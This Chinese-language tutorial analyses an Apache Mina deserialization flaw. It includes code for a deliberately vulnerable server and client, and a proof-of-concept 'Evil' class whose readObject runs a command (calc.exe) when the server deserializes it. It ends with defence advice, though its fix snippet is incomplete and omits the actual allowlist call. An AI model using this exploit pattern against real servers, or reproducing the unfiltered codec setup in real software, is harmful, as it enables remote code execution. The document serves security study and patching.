Apache mina反序列化漏洞
字数 1182 2025-08-30 06:50:35
Apache Mina 反序列化漏洞分析与利用
漏洞概述
Apache Mina 是一个基于 Java 的高性能网络应用框架,其 2.0.26 及之前版本中存在反序列化漏洞,攻击者可通过构造恶意序列化对象实现远程代码执行(RCE)。
Apache Mina 框架简介
Apache Mina 是一款简化复杂网络通信开发的 Java 框架,主要特点包括:
- 抽象底层通信细节:封装 Java NIO 的底层 I/O 操作,开发者无需直接处理多线程并发或数据读写阻塞
- 分层架构设计:
- I/O 服务层(IoService):负责建立连接和管理会话
- 过滤器链(FilterChain):处理协议编解码、日志记录等
- 业务处理器(IoHandler):实现事件驱动的业务逻辑
- 支持多种通信协议:TCP/IP、UDP/IP、串口通信、虚拟机管道等
- 高性能与可扩展性:异步非阻塞模型、线程池优化、缓冲池技术
- 事件驱动与状态管理:通过事件回调机制管理连接生命周期
漏洞环境搭建
1. 创建 Message 类
package org.juju;
import java.io.Serializable;
public class Message implements Serializable {
private static final long serialVersionUID = 1L;
private Object content;
public Message(Object content) {
this.content = content;
}
public Object getContent() {
return content;
}
}
2. 创建 MinaServer 类
package org.juju;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketAcceptor;
import java.net.InetSocketAddress;
public class MinaServer {
public static void main(String[] args) throws Exception {
NioSocketAcceptor acceptor = new NioSocketAcceptor();
acceptor.getFilterChain().addLast("codec",
new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));
acceptor.setHandler(new ServerHandler());
acceptor.bind(new InetSocketAddress(9123));
System.out.println("Server started on port 9123...");
}
private static class ServerHandler extends IoHandlerAdapter {
@Override
public void messageReceived(IoSession session, Object message) {
if (message instanceof Message) {
Message msg = (Message) message;
System.out.println("Received: " + msg.getContent());
}
}
@Override
public void exceptionCaught(IoSession session, Throwable cause) {
cause.printStackTrace();
session.closeNow();
}
}
}
3. 创建 MinaClient 类
package org.juju;
import org.apache.mina.core.future.ConnectFuture;
import org.apache.mina.core.service.IoHandlerAdapter;
import org.apache.mina.core.session.IoSession;
import org.apache.mina.filter.codec.ProtocolCodecFilter;
import org.apache.mina.filter.codec.serialization.ObjectSerializationCodecFactory;
import org.apache.mina.transport.socket.nio.NioSocketConnector;
import java.net.InetSocketAddress;
public class MinaClient {
public static void main(String[] args) {
NioSocketConnector connector = new NioSocketConnector();
connector.getFilterChain().addLast("codec",
new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));
connector.setHandler(new ClientHandler());
ConnectFuture future = connector.connect(new InetSocketAddress("localhost", 9123));
future.awaitUninterruptibly();
IoSession session = future.getSession();
session.write(new Message("Hello, MINA!"));
session.getCloseFuture().awaitUninterruptibly();
connector.dispose();
}
private static class ClientHandler extends IoHandlerAdapter {
@Override
public void exceptionCaught(IoSession session, Throwable cause) {
cause.printStackTrace();
session.closeNow();
}
}
}
漏洞分析
漏洞位置
漏洞存在于 ObjectSerializationCodecFactory 类中,这是 Mina 专门用于处理 Java 对象序列化和反序列化的编解码器。
漏洞触发流程
- 客户端发送恶意序列化对象
- 服务端
ProtocolCodecFilter接收到数据 - 调用
ObjectSerializationDecoder.decode()方法 - 最终在
AbstractIoBuffer.getObject()方法中完成反序列化 - 恶意对象被反序列化并执行恶意代码
关键代码分析
// 漏洞触发点 - 使用不安全的反序列化
acceptor.getFilterChain().addLast("codec",
new ProtocolCodecFilter(new ObjectSerializationCodecFactory()));
漏洞利用
1. 创建恶意类
package org.juju;
import java.io.Serializable;
import java.io.IOException;
public class Evil implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
in.defaultReadObject();
// 执行恶意代码
Runtime.getRuntime().exec("calc.exe");
}
}
2. 修改客户端发送恶意对象
// 替换原来的Message对象为Evil对象
session.write(new Evil());
3. 漏洞验证
- 启动服务端
- 运行修改后的客户端
- 观察服务端是否执行了恶意代码(如弹出计算器)
漏洞修复
官方在 2.0.27 版本中修复了此漏洞,修复方式为:
- 实现白名单校验机制
- 在
ObjectSerializationDecoder中设置允许的类 - 默认拒绝所有未明确允许的类
修复代码参考:
// 2.0.27+ 版本中需要显式设置允许的类
ObjectSerializationCodecFactory factory = new ObjectSerializationCodecFactory();
factory.setDecoderMaxObjectSize(...);
// 设置允许的类白名单
防御建议
- 升级到 Apache Mina 2.0.27 或更高版本
- 如果必须使用旧版本,应实现自定义的
ProtocolCodecFilter并严格限制可反序列化的类 - 使用 Java 的安全管理器限制反序列化操作的权限
- 考虑使用替代的序列化方案,如 JSON 或 Protocol Buffers
总结
Apache Mina 反序列化漏洞是一个典型的 Java 反序列化安全问题,攻击者可以通过构造恶意序列化对象实现远程代码执行。开发者应充分了解反序列化的安全风险,及时更新依赖库,并实施严格的安全控制措施。